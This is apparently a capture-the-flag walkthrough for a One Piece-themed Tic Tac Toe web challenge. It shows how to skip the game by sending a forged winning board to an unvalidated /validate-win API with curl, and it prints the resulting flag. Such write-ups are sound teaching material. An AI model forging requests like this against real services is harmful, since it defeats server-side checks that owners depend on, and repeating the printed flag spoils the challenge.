TIC TAC TOE

Tic Tac Toe Challenge Walkthrough

Challenge Description

Ahoy, pirates! Welcome to the Grand Line Showdown, where you'll face off in a classic game of Tic-Tac-Toe with a twist. This web challenge is themed around the legendary world of One Piece, bringing a touch of pirate adventure to the classic game.

Walkthrough:

1. Understand the Game Flow

When you first load the challenge, you're greeted with a standard Tic Tac Toe board:

- You play as **'X'**.
- The AI plays as **'O'**.
- If you win by aligning three **'X'** in any winning pattern (row, column, or diagonal), a request is sent to the backend to validate the win and return the flag.
- If you draw or the AI wins, you won't get the flag.

2. The Backend `/validate-win` API

The game's backend has an endpoint `/validate-win` that validates whether the player has won by checking the game state. If the game state contains a valid win for the player **'X'**, the server responds with the flag.

From the JavaScript code running the game, we notice that the flag is retrieved via a `POST` request to `/validate-win` after the player wins.

3. Explore the Winning Conditions

The winning conditions for Tic Tac Toe are defined in the code:

```
const winningConditions = [
    [0, 1, 2],
```

```
    [3, 4, 5],
    [6, 7, 8],
    [0, 3, 6],
    [1, 4, 7],
    [2, 5, 8],
    [0, 4, 8],
    [2, 4, 6]
];
```

Each number corresponds to an index on the Tic Tac Toe board:

- Indexes 0, 1, and 2 correspond to the top row.
- Indexes 3, 4, and 5 correspond to the middle row.
- Indexes 6, 7, and 8 correspond to the bottom row.

A win is achieved by aligning three **'X'** in any of the winning combinations.

4. Bypass the Game via API Request

Instead of playing the game against the AI (which is difficult to win), you can directly send a crafted `POST` request to the `/validate-win` endpoint, simulating a winning game state.

This is where you exploit the backend directly without going through the manual steps of playing and winning the game.

5. Use `curl` to Exploit the API

To bypass playing the game and directly retrieve the flag, you can simulate a winning game state and send it to the server via `curl`.

Execute the following command:

```
curl -X POST https://your-vercel-app-url/api/validate-win \
-H "Content-Type: application/json" \
-d '{"gameState":["x", "x", "x", "", "", "", "", "", ""]}'
```

This game state represents a winning condition for **'X'** where the top row is filled with **'X'** (indexes 0, 1, 2).

- The `gameState` field in the body of the request sends an array representing the board.
- **'X'** represents the player's moves.

- **'O'** represents the AI's moves.
- Empty strings (`""`) represent unplayed cells.

6. Analyze the Server Response

After executing the `curl` command, the server will respond with the following JSON:

```
{
  "success": true,
  "flag": "HACKOPS{R3v3l@tion_S3a_P@r@dise}"
```

The flag `HACKOPS{R3v3l@tion_S3a_P@r@dise}` is successfully returned because the server validates that the game state you sent is a winning condition for **'X'**.
